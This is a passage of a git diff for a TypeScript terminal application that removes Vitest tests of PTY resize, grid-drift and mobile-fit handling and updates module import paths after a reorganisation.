-          disconnect = vi.fn()
-
-          constructor(private readonly callback: ResizeObserverCallbackLike) {
-            MockResizeObserver.instances.push(this)
-          }
-
-          trigger(): void {
-            this.callback([], this as never)
-          }
-        }
-
-        globalThis.Element = MockElement as never
-        globalThis.ResizeObserver = MockResizeObserver as never
-        pane.container = new MockElement() as unknown as HTMLElement
-
-        return {
-          trigger: () => MockResizeObserver.instances[0]?.trigger(),
-          restore: () => {
-            if (hadResizeObserver) {
-              globalThis.ResizeObserver = originalResizeObserver
-            } else {
-              Reflect.deleteProperty(globalThis, 'ResizeObserver')
-            }
-            if (hadElement) {
-              globalThis.Element = originalElement
-            } else {
-              Reflect.deleteProperty(globalThis, 'Element')
-            }
-          }
-        }
-      }
-
-      async function connectStreamingDriftPane(): Promise<{
-        binding: { noteVisibilityResume: () => void }
-        transport: MockTransport
-        fit: ReturnType<typeof vi.fn>
-        setProposedGrid: (grid: { cols: number; rows: number } | undefined) => void
-        emitFrame: (data: string) => void
-      }> {
-        const { connectPanePty } = await import('../connect-pane-pty')
-        const agentTitleMocks4 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-          '@/lib/agent-status/aggregation/worktree-agent-status'
-        )
-        const transport = createMockTransport('pty-pane-2')
-        const capturedDataCallback: { current: ((data: string) => void) | null } = { current: null }
-        transport.connect.mockImplementation(
-          async ({ callbacks }: { callbacks: ConnectCallbacks }) => {
-            capturedDataCallback.current = callbacks.onData ?? null
-            return 'pty-pane-2'
-          }
-        )
-        transportFactoryQueue.push(transport)
-        const manager = createManager(2)
-        const deps = createDeps({
-          restoredLeafId: LEAF_2,
-          paneTransportsRef: { current: new Map([[1, createMockTransport('pty-pane-1')]]) }
-        })
-        const pane = createPane(2)
-        let proposedGrid: { cols: number; rows: number } | undefined = { cols: 62, rows: 63 }
-        pane.terminal.cols = 62
-        pane.terminal.rows = 63
-        const fit = vi.fn(() => {
-          pane.terminal.cols = proposedGrid?.cols ?? pane.terminal.cols
-          pane.terminal.rows = proposedGrid?.rows ?? pane.terminal.rows
-        })
-        // SAFETY: as never — the probe only reads fit and proposeDimensions from this partial addon.
-        pane.fitAddon = {
-          ...pane.fitAddon,
-          fit,
-          proposeDimensions: vi.fn(() => proposedGrid)
-        } as never
-        pane.terminal.write.mockImplementation((_data, callback) => callback?.())
-        vi.mocked(window.api.pty.getSize).mockResolvedValue({ cols: 62, rows: 63 })
-
-        const binding = connectPanePty(
-          ...mockPanePtyArgs(pane, manager, bindPaneAgentTitleMocks(deps, agentTitleMocks4))
-        )
-        await flushAsyncTicks()
-        vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance', 'Date'] })
-        // Real frames are async; the shared sync rAF mock would leave the probe's frame handle stuck.
-        globalThis.requestAnimationFrame = vi.fn((callback: FrameRequestCallback) =>
-          Number(setTimeout(() => callback(0), 0))
-        )
-        fit.mockClear()
-        transport.resize.mockClear()
-        return {
-          binding,
-          transport,
-          fit,
-          setProposedGrid: (grid) => {
-            proposedGrid = grid
-          },
-          emitFrame: (data) => capturedDataCallback.current?.(data)
-        }
-      }
-
-      it('repairs grid drift with a trailing probe when output stops inside the settled interval', async () => {
-        const { transport, fit, setProposedGrid, emitFrame } = await connectStreamingDriftPane()
-        emitFrame('frame 1')
-        await vi.advanceTimersByTimeAsync(300)
-        setProposedGrid({ cols: 65, rows: 63 })
-        emitFrame('last frame')
-
-        await vi.advanceTimersByTimeAsync(1000)
-
-        expect(fit).toHaveBeenCalled()
-        expect(transport.resize).toHaveBeenCalledWith(65, 63, { claim: true })
-      })
-
-      it('skips foreground grid drift repair while mobile owns the PTY without a fit override', async () => {
-        const { setDriverForPty } = await import('@/lib/pane-manager/mobile-driver-state')
-        const { connectPanePty } = await import('../connect-pane-pty')
-        const agentTitleMocks5 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-          '@/lib/agent-status/aggregation/worktree-agent-status'
-        )
-        const transport = createMockTransport('pty-pane-2')
-        const capturedDataCallback: { current: ((data: string) => void) | null } = { current: null }
-        transport.connect.mockImplementation(
-          async ({ callbacks }: { callbacks: ConnectCallbacks }) => {
-            capturedDataCallback.current = callbacks.onData ?? null
-            return 'pty-pane-2'
-          }
-        )
-        transportFactoryQueue.push(transport)
-        const manager = createManager(2)
-        const deps = createDeps({
-          restoredLeafId: LEAF_2,
-          paneTransportsRef: { current: new Map([[1, createMockTransport('pty-pane-1')]]) }
-        })
-        const pane = createPane(2)
-        let proposedGrid = { cols: 62, rows: 63 }
-        pane.terminal.cols = 62
-        pane.terminal.rows = 63
-        pane.fitAddon = {
-          ...pane.fitAddon,
-          fit: vi.fn(() => {
-            pane.terminal.cols = proposedGrid.cols
-            pane.terminal.rows = proposedGrid.rows
-          }),
-          proposeDimensions: vi.fn(() => proposedGrid)
-        } as never
-
-        try {
-          connectPanePty(
-            ...mockPanePtyArgs(pane, manager, bindPaneAgentTitleMocks(deps, agentTitleMocks5))
-          )
-          await flushAsyncTicks()
-          proposedGrid = { cols: 65, rows: 63 }
-          setDriverForPty('pty-pane-2', { kind: 'mobile', clientId: 'phone-1' })
-          vi.mocked(pane.fitAddon.fit).mockClear()
-          transport.resize.mockClear()
-          vi.mocked(window.api.pty.getSize).mockClear()
-          expect(capturedDataCallback.current).not.toBeNull()
-
-          capturedDataCallback.current?.('\x1b[?2026hcodex redraw frame')
-          await flushAsyncTicks()
-
-          expect(pane.fitAddon.fit).not.toHaveBeenCalled()
-          expect(window.api.pty.getSize).not.toHaveBeenCalled()
-          expect(transport.resize).not.toHaveBeenCalled()
-        } finally {
-          setDriverForPty('pty-pane-2', { kind: 'idle' })
-        }
-      })
-
-      it('reports desktop geometry without resizing while a mobile-fit override is active', async () => {
-        const { setFitOverride } = await import('@/lib/pane-manager/mobile-fit-overrides')
-        const pane = createPane(2)
-        const observer = installObservedPane(pane)
-        try {
-          const { connectPanePty } = await import('../connect-pane-pty')
-          const agentTitleMocks6 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-            '@/lib/agent-status/aggregation/worktree-agent-status'
-          )
-          const transport = createMockTransport('pty-pane-2')
-          transportFactoryQueue.push(transport)
-          const manager = createManager(2)
-          const deps = createDeps({
-            restoredLeafId: LEAF_2,
-            paneTransportsRef: { current: new Map([[1, createMockTransport('pty-pane-1')]]) }
-          })
-          pane.fitAddon = {
-            ...pane.fitAddon,
-            proposeDimensions: vi.fn(() => ({ cols: 101, rows: 33 }))
-          } as never
-
-          connectPanePty(
-            ...mockPanePtyArgs(pane, manager, bindPaneAgentTitleMocks(deps, agentTitleMocks6))
-          )
-          await flushAsyncTicks()
-          setFitOverride('pty-pane-2', 'mobile-fit', 40, 30)
-          transport.resize.mockClear()
-          vi.mocked(window.api.pty.getSize).mockClear()
-          vi.mocked(window.api.pty.reportGeometry).mockClear()
-
-          observer.trigger()
-          await flushAsyncTicks()
-
-          expect(window.api.pty.getSize).not.toHaveBeenCalled()
-          expect(window.api.pty.reportGeometry).toHaveBeenCalledWith('pty-pane-2', 101, 33)
-          expect(transport.resize).not.toHaveBeenCalled()
-        } finally {
-          setFitOverride('pty-pane-2', 'desktop-fit', 0, 0)
-          observer.restore()
-        }
-      })
-
-      it('defers a remote-desktop viewport claim until structural replay completes', async () => {
-        const originalDocument = globalThis.document
-        ;(globalThis as { document?: Document }).document = {
-          visibilityState: 'visible',
-          hasFocus: vi.fn(() => true)
-        } as unknown as Document
-        globalThis.requestAnimationFrame = vi.fn((callback: FrameRequestCallback) => {
-          queueMicrotask(() => callback(0))
-          return 1
-        })
-        const { setFitOverride } = await import('@/lib/pane-manager/mobile-fit-overrides')
-        const { beginTerminalScrollIntentBufferRebuild, endTerminalScrollIntentBufferRebuild } =
-          await import('@/lib/pane-manager/terminal-scroll-intent-rebuild')
-        const pane = createPane(2)
-        const observer = installObservedPane(pane)
-        try {
-          const { connectPanePty } = await import('../connect-pane-pty')
-          const agentTitleMocks8 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-            '@/lib/agent-status/aggregation/worktree-agent-status'
-          )
-          const transport = createMockTransport('pty-pane-2')
-          transportFactoryQueue.push(transport)
-          const manager = createManager(2)
-          const deps = createDeps({
-            restoredLeafId: LEAF_2,
-            paneTransportsRef: { current: new Map([[1, createMockTransport('pty-pane-1')]]) }
-          })
-          let proposedGrid = { cols: 120, rows: 40 }
-          pane.fitAddon = {
-            ...pane.fitAddon,
-            proposeDimensions: vi.fn(() => proposedGrid)
-          } as never
-          connectPanePty(
-            ...mockPanePtyArgs(pane, manager, bindPaneAgentTitleMocks(deps, agentTitleMocks8))
-          )
-          await flushAsyncTicks()
-          observer.trigger()
-          await flushAsyncTicks()
-          setFitOverride('pty-pane-2', 'remote-desktop-fit', 80, 24)
-          proposedGrid = { cols: 70, rows: 30 }
-          vi.mocked(pane.terminal.resize).mockClear()
-          transport.resize.mockClear()
-          beginTerminalScrollIntentBufferRebuild(pane.terminal)
-
-          observer.trigger()
-          await flushAsyncTicks()
-          expect(pane.terminal.resize).not.toHaveBeenCalled()
-          expect(transport.resize).not.toHaveBeenCalled()
-
-          endTerminalScrollIntentBufferRebuild(pane.terminal)
-          await flushAsyncTicks()
-          expect(pane.terminal.resize).toHaveBeenCalledWith(70, 30)
-          expect(transport.resize).toHaveBeenCalledWith(70, 30, { claim: true })
-        } finally {
-          setFitOverride('pty-pane-2', 'desktop-fit', 0, 0)
-          observer.restore()
-          globalThis.document = originalDocument
-        }
-      })
-
-      it('skips observed desktop reassertion while mobile owns the PTY without a fit override', async () => {
-        const { setDriverForPty } = await import('@/lib/pane-manager/mobile-driver-state')
-        const pane = createPane(2)
-        const observer = installObservedPane(pane)
-        try {
-          const { connectPanePty } = await import('../connect-pane-pty')
-          const agentTitleMocks9 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-            '@/lib/agent-status/aggregation/worktree-agent-status'
-          )
-          const transport = createMockTransport('pty-pane-2')
-          transportFactoryQueue.push(transport)
-          const manager = createManager(2)
-          const deps = createDeps({
-            restoredLeafId: LEAF_2,
-            paneTransportsRef: { current: new Map([[1, createMockTransport('pty-pane-1')]]) }
-          })
-          const fit = vi.fn()
-          pane.fitAddon = {
-            ...pane.fitAddon,
-            fit,
-            proposeDimensions: vi.fn(() => ({ cols: 130, rows: 50 }))
-          } as never
-
-          connectPanePty(
-            ...mockPanePtyArgs(pane, manager, bindPaneAgentTitleMocks(deps, agentTitleMocks9))
-          )
-          await flushAsyncTicks()
-          setDriverForPty('pty-pane-2', { kind: 'mobile', clientId: 'phone-1' })
-          transport.resize.mockClear()
-          fit.mockClear()
-          vi.mocked(window.api.pty.getSize).mockClear()
-          vi.mocked(window.api.pty.reportGeometry).mockClear()
-
-          observer.trigger()
-          await flushAsyncTicks()
-
-          expect(window.api.pty.getSize).not.toHaveBeenCalled()
-          expect(window.api.pty.reportGeometry).not.toHaveBeenCalled()
-          expect(transport.resize).not.toHaveBeenCalled()
-          expect(fit).not.toHaveBeenCalled()
-        } finally {
-          setDriverForPty('pty-pane-2', { kind: 'idle' })
-          observer.restore()
-        }
-      })
-
-      it('queues re-asserted resizes while pane resize holds are active', async () => {
-        const originalCustomEvent = globalThis.CustomEvent
-        class MockCustomEvent<T> extends Event {
-          detail: T
-
-          constructor(type: string, init: { detail: T }) {
-            super(type)
-            this.detail = init.detail
-          }
-        }
-        globalThis.CustomEvent = MockCustomEvent as unknown as typeof CustomEvent
-        try {
-          const { holdPtyResizesForPaneSubtrees, queuePanePtyResizeIfHeld } =
-            await import('@/lib/pane-manager/pane-pty-resize-hold')
-          vi.mocked(window.api.pty.getSize).mockResolvedValue({ cols: 80, rows: 24 })
-          const { binding, transport, pane } = await connectResumablePane()
-          await flushAsyncTicks()
-          Object.defineProperty(pane.container, 'classList', {
-            configurable: true,
-            value: { contains: (className: string) => className === 'pane' }
-          })
-          Object.defineProperty(pane.container, 'querySelectorAll', {
-            configurable: true,
-            value: () => []
-          })
-          const release = holdPtyResizesForPaneSubtrees([pane.container])
-          // Prove the fixture uses the same held pane before reassertion overwrites the queued placeholder size.
-          expect(queuePanePtyResizeIfHeld(pane.container, 1, 1)).toBe(true)
-          transport.resize.mockClear()
-
-          binding.noteVisibilityResume()
-          await flushAsyncTicks()
-
-          expect(transport.resize).not.toHaveBeenCalled()
-
-          release.flush()
-
-          expect(transport.resize).toHaveBeenCalledTimes(1)
-          expect(transport.resize).toHaveBeenCalledWith(120, 40, { claim: true })
-        } finally {
-          globalThis.CustomEvent = originalCustomEvent
-        }
-      })
-
-      it.each([true, false])('reasserts a remote grid only when visible (%s)', async (visible) => {
-        const getSize = vi.mocked(window.api.pty.getSize)
-        getSize.mockClear()
-        const { connectPanePty } = await import('../connect-pane-pty')
-        const agentTitleMocks10 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-          '@/lib/agent-status/aggregation/worktree-agent-status'
-        )
-        const transport = createMockTransport('remote:env-1@@terminal-2')
-        transport.getConnectionId.mockReturnValue(null)
-        transportFactoryQueue.push(transport)
-        const manager = createManager(2)
-        const deps = createDeps({
-          restoredLeafId: LEAF_2,
-          paneTransportsRef: { current: new Map([[1, createMockTransport('pty-pane-1')]]) }
-        })
-        const pane = createPane(2)
-        const binding = connectPanePty(
-          ...mockPanePtyArgs(pane, manager, bindPaneAgentTitleMocks(deps, agentTitleMocks10))
-        )
-        transport.resize.mockClear()
-
-        deps.isVisibleRef.current = visible
-        binding.noteVisibilityResume()
-        await flushAsyncTicks()
-
-        expect(getSize).not.toHaveBeenCalled()
-        if (visible) {
-          expect(transport.resize).toHaveBeenCalledExactlyOnceWith(120, 40, { claim: true })
-        } else {
-          expect(transport.resize).not.toHaveBeenCalled()
-        }
-      })
-
-      it('claims a focused visible remote mirror once when its passive fit hold arrives', async () => {
-        let documentFocused = true
-        ;(globalThis as { document?: Document }).document = {
-          visibilityState: 'visible',
-          hasFocus: vi.fn(() => documentFocused)
-        } as unknown as Document
-        const { setFitOverride } = await import('@/lib/pane-manager/mobile-fit-overrides')
-        const { connectPanePty } = await import('../connect-pane-pty')
-        const agentTitleMocks11 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-          '@/lib/agent-status/aggregation/worktree-agent-status'
-        )
-        const ptyId = 'remote:env-1@@terminal-visible'
-        const transport = createMockTransport(ptyId)
-        transportFactoryQueue.push(transport)
-        const deps = createDeps({
-          restoredLeafId: LEAF_2,
-          restoredPtyIdByLeafId: { [LEAF_2]: ptyId },
-          paneTransportsRef: { current: new Map([[1, createMockTransport('pty-pane-1')]]) }
-        })
-        const pane = createPane(2)
-        pane.fitAddon = {
-          ...pane.fitAddon,
-          proposeDimensions: vi.fn(() => ({ cols: 132, rows: 42 }))
-        } as never
-        const binding = connectPanePty(
-          ...mockPanePtyArgs(
-            pane,
-            createManager(2),
-            bindPaneAgentTitleMocks(deps, agentTitleMocks11)
-          )
-        )
-        await flushAsyncTicks()
-        transport.claimViewport.mockClear()
-
-        setFitOverride(ptyId, 'remote-desktop-fit', 10, 4)
-
-        expect(transport.claimViewport).toHaveBeenCalledWith(132, 42)
-        setFitOverride(ptyId, 'desktop-fit', 132, 42)
-        transport.claimViewport.mockClear()
-        setFitOverride(ptyId, 'remote-desktop-fit', 80, 24)
-        expect(transport.claimViewport).not.toHaveBeenCalled()
-
-        deps.isVisibleRef.current = false
-        binding.syncProcessTracking()
-        deps.isVisibleRef.current = true
-        binding.noteVisibilityResume()
-        expect(transport.claimViewport).toHaveBeenCalledWith(132, 42)
-
-        setFitOverride(ptyId, 'desktop-fit', 132, 42)
-        documentFocused = false
-        deps.isVisibleRef.current = false
-        binding.syncProcessTracking()
-        deps.isVisibleRef.current = true
-        binding.noteVisibilityResume()
-        transport.claimViewport.mockClear()
-        setFitOverride(ptyId, 'remote-desktop-fit', 80, 24)
-        expect(transport.claimViewport).not.toHaveBeenCalled()
-
-        documentFocused = true
-        binding.reassertPtySizeAfterWindowWake()
-        expect(transport.claimViewport).toHaveBeenCalledWith(132, 42)
-
-        setFitOverride(ptyId, 'desktop-fit', 132, 42)
-        deps.isVisibleRef.current = false
-        binding.syncProcessTracking()
-        deps.isVisibleRef.current = true
-        binding.noteVisibilityResume()
-        transport.claimViewport.mockClear()
-        setFitOverride(ptyId, 'remote-desktop-fit', 80, 24)
-        expect(transport.claimViewport).not.toHaveBeenCalled()
-
-        setFitOverride(ptyId, 'desktop-fit', 132, 42)
-        binding.dispose()
-      })
-
-      it('does NOT re-assert while a mobile-fit override parks the PTY at phone dims', async () => {
-        const { setFitOverride } = await import('@/lib/pane-manager/mobile-fit-overrides')
-        vi.mocked(window.api.pty.getSize).mockResolvedValue({ cols: 80, rows: 24 })
-        const { binding, transport } = await connectResumablePane()
-        // Park the PTY at phone dims — desktop re-assert must be suppressed.
-        setFitOverride('pty-pane-2', 'mobile-fit', 40, 30)
-        transport.resize.mockClear()
-
-        binding.noteVisibilityResume()
-        await flushAsyncTicks()
-
-        expect(transport.resize).not.toHaveBeenCalled()
-        setFitOverride('pty-pane-2', 'desktop-fit', 0, 0)
-      })
-
-      it('does NOT forward when the pane is hidden again before getSize resolves (stale hop)', async () => {
-        // Stale getSize resolving after re-hide must not emit a hidden-tab SIGWINCH (which resets alt-screen TUIs).
-        let resolveSize: (v: { cols: number; rows: number } | null) => void = () => {}
-        vi.mocked(window.api.pty.getSize).mockImplementation(
-          () =>
-            new Promise((resolve) => {
-              resolveSize = resolve
-            })
-        )
-        const { binding, transport, deps } = await connectResumablePane()
-        transport.resize.mockClear()
-
-        binding.noteVisibilityResume()
-        // Pane is hidden again while the size query is still in flight.
-        deps.isVisibleRef.current = false
-        resolveSize({ cols: 80, rows: 24 }) // drift — would re-assert if visible
-        await flushAsyncTicks()
-
-        expect(transport.resize).not.toHaveBeenCalled()
-      })
-    })
-  })
-}
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/geometry/pty-resize-forward.ts b/src/renderer/src/components/terminal-pane/pty-connection/geometry/pty-resize-forward.ts
index 8d9b6b83681..d745f866c36 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/geometry/pty-resize-forward.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/geometry/pty-resize-forward.ts
@@ -1,6 +1,6 @@
 import { isRemoteRuntimePtyId } from '../../../../../../shared/remote-runtime/remote-runtime-pty-id'
-import { safeFitAndThen } from '@/lib/pane-manager/pane-fit'
-import { getFitOverrideForPty } from '@/lib/pane-manager/mobile-fit-overrides'
+import { safeFitAndThen } from '@/lib/pane-manager/terminal-fit/pane-fit'
+import { getFitOverrideForPty } from '@/lib/pane-manager/terminal-fit/mobile-fit-overrides'
 import { isPtyLocked } from '@/lib/pane-manager/mobile-driver-state'
 import { getAppliedSizeReadE2eDelayMs } from './pty-applied-size-read-e2e-delay'
 import { createPtySizeReassertion } from '../../viewport/pty-size-reassertion'
@@ -8,7 +8,7 @@ import {
   PANE_PTY_RESIZE_HOLD_FLUSH_EVENT,
   queuePanePtyResizeIfHeld,
   type PanePtyResizeHoldFlushDetail
-} from '@/lib/pane-manager/pane-pty-resize-hold'
+} from '@/lib/pane-manager/pane-layout/pane-pty-resize-hold'
 import { installForegroundGridDriftProbe } from './foreground-grid-drift-probe'
 import { initializePaneGeometry, readPaneSize } from './read-pane-size'
 import type { ConnectPanePtySession } from '../connect-pane-pty-session'
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/geometry/pty-resize-geometry.ts b/src/renderer/src/components/terminal-pane/pty-connection/geometry/pty-resize-geometry.ts
index 896c5765b9b..b569ad051d4 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/geometry/pty-resize-geometry.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/geometry/pty-resize-geometry.ts
@@ -1,12 +1,12 @@
 import { isRemoteRuntimePtyId } from '../../../../../../shared/remote-runtime/remote-runtime-pty-id'
 import type { ManagedPaneInternal } from '@/lib/pane-manager/pane-manager-types'
-import { safeFit } from '@/lib/pane-manager/pane-fit'
-import { requestStablePaneFit } from '@/lib/pane-manager/pane-fit-resize-observer'
-import { getFitOverrideForPty } from '@/lib/pane-manager/mobile-fit-overrides'
+import { safeFit } from '@/lib/pane-manager/terminal-fit/pane-fit'
+import { requestStablePaneFit } from '@/lib/pane-manager/terminal-fit/pane-fit-resize-observer'
+import { getFitOverrideForPty } from '@/lib/pane-manager/terminal-fit/mobile-fit-overrides'
 import { isPtyLocked } from '@/lib/pane-manager/mobile-driver-state'
 import { reconcilePtySizeAcrossFrames } from '../../viewport/pty-size-reconcile'
 import { shouldClaimRemoteDesktopViewport } from '../../viewport/remote-desktop-viewport-claim'
-import { deferTerminalGeometryMutationDuringRebuild } from '@/lib/pane-manager/terminal-scroll-intent-rebuild'
+import { deferTerminalGeometryMutationDuringRebuild } from '@/lib/pane-manager/terminal-scroll/terminal-scroll-intent-rebuild'
 
 import type { ConnectPanePtySession } from '../connect-pane-pty-session'
 
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/geometry/remote-program-redraw.ts b/src/renderer/src/components/terminal-pane/pty-connection/geometry/remote-program-redraw.ts
index ef5676e3e76..94dff65ef6a 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/geometry/remote-program-redraw.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/geometry/remote-program-redraw.ts
@@ -3,7 +3,7 @@ import {
   TERMINAL_VIEWPORT_MIN_ROWS,
   clampTerminalViewport
 } from '../../../../../../shared/terminal/viewport/terminal-viewport'
-import { onOverrideChange } from '@/lib/pane-manager/mobile-fit-overrides'
+import { onOverrideChange } from '@/lib/pane-manager/terminal-fit/mobile-fit-overrides'
 import { recordTerminalFreezeBreadcrumb } from '../../render-health/diagnostics/terminal-freeze-breadcrumbs'
 import { redactPtyIdForDiagnostics } from '../../../../../../shared/terminal/pty/diagnostics/pty-delivery-diagnostics'
 
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/geometry/remote-reconnect-unimaged-pane-redraw.test.ts b/src/renderer/src/components/terminal-pane/pty-connection/geometry/remote-reconnect-unimaged-pane-redraw.test.ts
deleted file mode 100644
index 5876b6a2b14..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-connection/geometry/remote-reconnect-unimaged-pane-redraw.test.ts
+++ /dev/null
@@ -1,268 +0,0 @@
-import type * as React from 'react'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { flushAsyncTicks } from '@/components/terminal-pane/pty-connection/test-fixtures/pty-connection-test-async'
-import {
-  createManager,
-  createMockTransport,
-  createPane,
-  type ConnectCallbacks,
-  type MockTransport
-} from '@/components/terminal-pane/pty-connection/test-fixtures/pty-connection-test-pane-fixtures'
-import {
-  buildPaneConnectionDeps,
-  type PtyConnectionAgentTitleMocks,
-  bindPaneAgentTitleMocks
-} from '@/components/terminal-pane/pty-connection/test-fixtures/pty-connection-test-deps'
-import { createInitialStoreState } from '@/components/terminal-pane/pty-connection/test-fixtures/pty-connection-test-store-fixtures'
-import type { StoreState } from '@/components/terminal-pane/pty-connection/test-fixtures/pty-connection-test-store-state'
-import {
-  installTerminalTestGlobals,
-  restoreTerminalTestGlobals
-} from '@/components/terminal-pane/pty-connection/test-fixtures/pty-connection-test-environment'
-import { mockPanePtyArgs } from '@/components/terminal-pane/pty-connection/test-fixtures/pty-connection-test-connect-mock-pane'
-
-// Without a recovered host image, idle differential TUIs need a real one-row resize then restoration; same-size SIGWINCH does not force Node repaint (#26887).
-
-const scheduleRuntimeGraphSync = vi.fn()
-let mockStoreState: StoreState
-let transportFactoryQueue: MockTransport[] = []
-
-vi.mock('@/runtime/sync-runtime-graph/graph-sync-scheduler', () => ({ scheduleRuntimeGraphSync }))
-vi.mock('@/store/index', () => ({
-  useAppStore: { getState: () => mockStoreState, subscribe: () => () => {} }
-}))
-vi.mock('@/lib/agent-status/aggregation/worktree-agent-status', async (importOriginal) => {
-  const { buildAgentStatusModuleMock } =
-    await import('../test-fixtures/pty-connection-test-environment')
-  return buildAgentStatusModuleMock(await importOriginal<Record<string, unknown>>())
-})
-vi.mock('../../titles/cache-timer-seeding', () => ({
-  shouldSeedCacheTimerOnInitialTitle: vi.fn(() => false)
-}))
-vi.mock('sonner', () => ({ toast: { info: vi.fn() } }))
-vi.mock('@/lib/agent-session/accounts/codex/codex-stale-pane-sweep', () => ({
-  notifyCodexPaneBoundForStaleSweep: vi.fn()
-}))
-vi.mock('react', async (importOriginal) => {
-  const actual = await importOriginal<typeof React>()
-  return { ...actual, useCallback: <T extends (...args: unknown[]) => unknown>(fn: T): T => fn }
-})
-const nextQueuedTransport = (): MockTransport => {
-  const next = transportFactoryQueue.shift()
-  if (!next) {
-    throw new Error('No mock transport queued')
-  }
-  return next
-}
-vi.mock('../../pty-transport/ipc/pty-transport', () => ({
-  createIpcPtyTransport: vi.fn(() => nextQueuedTransport())
-}))
-vi.mock('../../pty-transport/remote-runtime/remote-runtime-pty-transport', () => ({
-  createRemoteRuntimePtyTransport: vi.fn(() => nextQueuedTransport())
-}))
-vi.mock('../../pty-transport/delivery/pty-dispatcher', async (importOriginal) => ({
-  ...(await importOriginal<Record<string, unknown>>()),
-  getEagerPtyBufferHandle: vi.fn(() => undefined)
-}))
-
-const REMOTE_PTY_ID = 'remote:env-1@@terminal-agent-1'
-const BANNER_FRAGMENT = 'main recovery was unavailable'
-const HOST_SNAPSHOT = {
-  data: 'CURRENT_FRAME\r\n',
-  cols: 120,
-  rows: 40,
-  seq: 10,
-  source: 'headless'
-}
-
-type Outcome = { availability: Record<string, unknown>; snapshot: typeof HOST_SNAPSHOT | null }
-
-type ReconnectedPane = {
-  transport: MockTransport
-  pane: ReturnType<typeof createPane>
-  deps: ReturnType<typeof buildPaneConnectionDeps>
-  dispose: () => void
-  reconnectWithoutImage: () => void
-  deliver: (data: string, seq: number) => void
-  banners: () => number
-  resizes: () => unknown[][]
-}
-
-async function connectVisibleRemotePane(
-  outcome: (() => Promise<Outcome>) | Outcome,
-  opts: { visible?: boolean } = {}
-): Promise<ReconnectedPane> {
-  const { connectPanePty } = await import('../connect-pane-pty')
-  const agentTitleMocks = await vi.importMock<PtyConnectionAgentTitleMocks>(
-    '@/lib/agent-status/aggregation/worktree-agent-status'
-  )
-  const transport = createMockTransport(REMOTE_PTY_ID)
-  transport.serializeBuffer = vi.fn()
-  transport.serializeBufferOutcome = vi.fn(
-    typeof outcome === 'function' ? outcome : async () => outcome
-  )
-  let onStreamRecovered: (() => void) | null = null
-  let onData: ConnectCallbacks['onData'] | null = null
-  transport.connect.mockImplementation(async ({ callbacks }: { callbacks?: ConnectCallbacks }) => {
-    onStreamRecovered = callbacks?.onStreamRecovered ?? null
-    onData = callbacks?.onData ?? null
-    return REMOTE_PTY_ID
-  })
-  transportFactoryQueue.push(transport)
-  const pane = createPane(1)
-  const deps = buildPaneConnectionDeps(() => mockStoreState, {
-    isVisibleRef: { current: opts.visible ?? true }
-  })
-  const disposable = connectPanePty(
-    ...mockPanePtyArgs(pane, createManager(1), bindPaneAgentTitleMocks(deps, agentTitleMocks))
-  )
-  await flushAsyncTicks(6)
-  expect(onStreamRecovered).not.toBeNull()
-  transport.resize.mockClear()
-  return {
-    transport,
-    pane,
-    deps,
-    dispose: () => disposable.dispose(),
-    reconnectWithoutImage: () => onStreamRecovered?.(),
-    deliver: (data, seq) => onData?.(data, { seq, rawLength: data.length }),
-    banners: () =>
-      pane.terminal.write.mock.calls.filter(([data]) => String(data).includes(BANNER_FRAGMENT))
-        .length,
-    resizes: () => transport.resize.mock.calls
-  }
-}
-
-const NUDGE = [
-  [120, 39, { claim: true }],
-  [120, 40, { claim: true }]
-]
-
-async function settle(ms: number): Promise<void> {
-  for (let step = 0; step < ms / 500; step += 1) {
-    await vi.advanceTimersByTimeAsync(500)
-    await flushAsyncTicks(20)
-  }
-}
-
-describe('a reconnected remote pane the host could not image', () => {
-  beforeEach(async () => {
-    vi.resetModules()
-    vi.clearAllMocks()
-    transportFactoryQueue = []
-    mockStoreState = createInitialStoreState(() => mockStoreState)
-    await installTerminalTestGlobals()
-    Object.assign(window.api.platform, {
-      get: vi.fn(() => ({ platform: 'darwin', osRelease: '25.0.0' }))
-    })
-  })
-
-  afterEach(async () => {
-    vi.useRealTimers()
-    await restoreTerminalTestGlobals()
-  })
-
-  it('holds the repaint for a hidden pane until it is revealed', async () => {
-    const drive = await connectVisibleRemotePane(
-      {
-        availability: { kind: 'permanently-unavailable', reason: 'exceeds-client-replay-limit' },
-        snapshot: null
-      },
-      { visible: false }
-    )
-    vi.useFakeTimers()
-    drive.reconnectWithoutImage()
-    await settle(5_000)
-    expect(drive.resizes()).toEqual([])
-
-    // Revealed by the next live byte, as an idle agent's cursor blink or the user's typing would.
-    ;(drive.deps.isVisibleRef as { current: boolean }).current = true
-    drive.deliver('x', 11)
-    await settle(5_000)
-    expect(drive.resizes()).toEqual(NUDGE)
-    drive.dispose()
-  })
-
-  it('puts the row back once the host confirms the short grid, not when the client sent it', async () => {
-    const { setFitOverride } = await import('@/lib/pane-manager/mobile-fit-overrides')
-    const drive = await connectVisibleRemotePane({
-      availability: { kind: 'permanently-unavailable', reason: 'exceeds-client-replay-limit' },
-      snapshot: null
-    })
-    vi.useFakeTimers()
-    drive.reconnectWithoutImage()
-    for (let tick = 0; tick < 5 && drive.resizes().length === 0; tick += 1) {
-      await vi.advanceTimersByTimeAsync(10)
-      await flushAsyncTicks(20)
-    }
-    expect(drive.resizes()).toEqual([NUDGE[0]])
-    await vi.advanceTimersByTimeAsync(1_000)
-    expect(drive.resizes()).toEqual([NUDGE[0]])
-
-    setFitOverride(REMOTE_PTY_ID, 'desktop-fit', 120, 39)
-    await vi.advanceTimersByTimeAsync(249)
-    expect(drive.resizes()).toEqual([NUDGE[0]])
